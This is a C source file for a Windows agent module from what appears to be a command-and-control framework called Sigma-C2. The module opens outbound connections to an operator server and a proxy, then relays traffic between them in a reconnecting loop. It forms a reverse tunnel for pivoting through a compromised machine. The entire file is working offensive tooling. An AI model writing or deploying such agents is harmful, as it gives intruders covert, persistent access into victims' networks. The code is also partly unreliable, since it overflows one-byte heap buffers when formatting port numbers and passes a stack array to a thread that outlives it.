Sigma-C2/agent/socks5_agent.c

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#include "log.h"

#define BUF_SIZE 4096

volatile int running = 0;
HANDLE hProxyAgent = NULL;

// [ADDED] Global sockets to force shutdown
SOCKET g_server_fd = INVALID_SOCKET;
SOCKET g_proxy_fd = INVALID_SOCKET;

struct pipe_args {
    SOCKET fd1;
    SOCKET fd2;
};

DWORD WINAPI pipe_thread(LPVOID arg) {
    struct pipe_args* args = (struct pipe_args*)arg;
    char buf[BUF_SIZE];
    int n;

    LOG("[PIPE] Thread started: fd1=%d, fd2=%d\n", (int)args->fd1, (int)args->fd2);

    while ((n = recv(args->fd1, buf, BUF_SIZE, 0)) > 0) {
        LOG("[PIPE] Received %d bytes from fd1=%d\n", n, (int)args->fd1);
        int sent = send(args->fd2, buf, n, 0);
        if (sent != n) {
            LOG_ERROR("[PIPE] Failed to send all data: sent=%d\n", sent);
            break;
        }
    }

    LOG("[PIPE] Closing sockets fd1=%d, fd2=%d\n", (int)args->fd1, (int)args->fd2);

    shutdown(args->fd1, SD_BOTH);
    shutdown(args->fd2, SD_BOTH);
    closesocket(args->fd1);
    closesocket(args->fd2);
    free(args);
    return 0;
}

SOCKET connect_to(char* host, int port) {
    SOCKET sock;
    struct sockaddr_in server;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) {
        LOG_ERROR("[CONNECT] Failed to create socket\n");
        return INVALID_SOCKET;
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(host);

    LOG("[CONNECT] Connecting to %s:%d\n", host, port);

    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
        LOG_ERROR("[CONNECT] Failed to connect to %s:%d\n", host, port);
        closesocket(sock);
        return INVALID_SOCKET;
    }

    LOG("[CONNECT] Connected to %s:%d (fd=%d)\n", host, port, (int)sock);
    return sock;
}

DWORD WINAPI agent_main(LPVOID param) {
    char** args = (char**)param;
    char* server_ip = args[0];
    int server_port = atoi(args[1]);
    char* proxy_ip = args[2];
    int proxy_port = atoi(args[3]);

    LOG("[AGENT] Agent thread started. Server: %s:%d, Proxy: %s:%d\n",
           server_ip, server_port, proxy_ip, proxy_port);

    while (running) {
        SOCKET server_fd = connect_to(server_ip, server_port);
        if (server_fd == INVALID_SOCKET) {
            LOG("[AGENT] Could not connect to server, retrying...\n");
            Sleep(2000);
            continue;
        }

        SOCKET proxy_fd = connect_to(proxy_ip, proxy_port);
        if (proxy_fd == INVALID_SOCKET) {
            LOG("[AGENT] Could not connect to proxy, retrying...\n");
            closesocket(server_fd);
            Sleep(2000);
            continue;
        }

        LOG("[AGENT] Tunnel established between server_fd=%d and proxy_fd=%d\n", (int)server_fd, (int)proxy_fd);

        // [MODIFIED] Set global sockets for shutdown
        g_server_fd = server_fd;
        g_proxy_fd = proxy_fd;

        struct pipe_args* a1 = malloc(sizeof(struct pipe_args));
        struct pipe_args* a2 = malloc(sizeof(struct pipe_args));
        a1->fd1 = server_fd; a1->fd2 = proxy_fd;
        a2->fd1 = proxy_fd; a2->fd2 = server_fd;

        HANDLE t1 = CreateThread(NULL, 0, pipe_thread, a1, 0, NULL);
        HANDLE t2 = CreateThread(NULL, 0, pipe_thread, a2, 0, NULL);

        WaitForSingleObject(t1, INFINITE);
        WaitForSingleObject(t2, INFINITE);

        CloseHandle(t1);
        CloseHandle(t2);

        closesocket(server_fd);
        closesocket(proxy_fd);

        // [MODIFIED] Clear global sockets
        g_server_fd = INVALID_SOCKET;
        g_proxy_fd = INVALID_SOCKET;

        if (running) {
            LOG("[AGENT] Reconnecting in 1 second...\n");
            Sleep(1000);
        }
    }

    LOG("[AGENT] Agent thread exiting\n");
    return 0;
}

void StartProxyAgent(char* result, char* server_ip, int server_port, char* proxy_ip, int proxy_port) {
    if (running) {
        LOG("[PROXY] Proxy relay already running\n");
        sprintf(result, "Proxy relay already running\n");
        return;
    }
    LOG("[PROXY] Starting proxy relay\n");

    char* args[4];
    args[0] = _strdup(server_ip);
    char* sport = _strdup("");
    char* pport = _strdup("");
    sprintf(sport, "%d", server_port);
    sprintf(pport, "%d", proxy_port);
    args[1] = sport;
    args[2] = _strdup(proxy_ip);
    args[3] = pport;

    running = 1;
    hProxyAgent = CreateThread(NULL, 0, agent_main, args, 0, NULL);

    if (hProxyAgent == NULL) {
        LOG_ERROR("[PROXY] Failed to create thread.\n");
        sprintf(result, "Failed to create thread.\n");
        return;
    }

    LOG("[PROXY] Proxy relay thread started\n");
    sprintf(result, "Proxy relay thread started\n");
    return;
}

int StopProxyAgent(char* result) {
    if (!running) {
        LOG("[PROXY] Proxy agent not running\n");
        sprintf(result, "Proxy agent not running\n");
        return;
    }
    LOG("[PROXY] Shutting down proxy agent\n");
    running = 0;

    // [ADDED] Force shutdown sockets to unblock threads
    if (g_server_fd != INVALID_SOCKET) {
        shutdown(g_server_fd, SD_BOTH);
        closesocket(g_server_fd);
        g_server_fd = INVALID_SOCKET;
    }
    if (g_proxy_fd != INVALID_SOCKET) {
        shutdown(g_proxy_fd, SD_BOTH);
        closesocket(g_proxy_fd);
        g_proxy_fd = INVALID_SOCKET;
    }

    WaitForSingleObject(hProxyAgent, INFINITE);
    CloseHandle(hProxyAgent);

    LOG("[PROXY] Agent stopped and cleaned up\n");
    sprintf(result, "Agent stopped and cleaned up\n");
    return;
}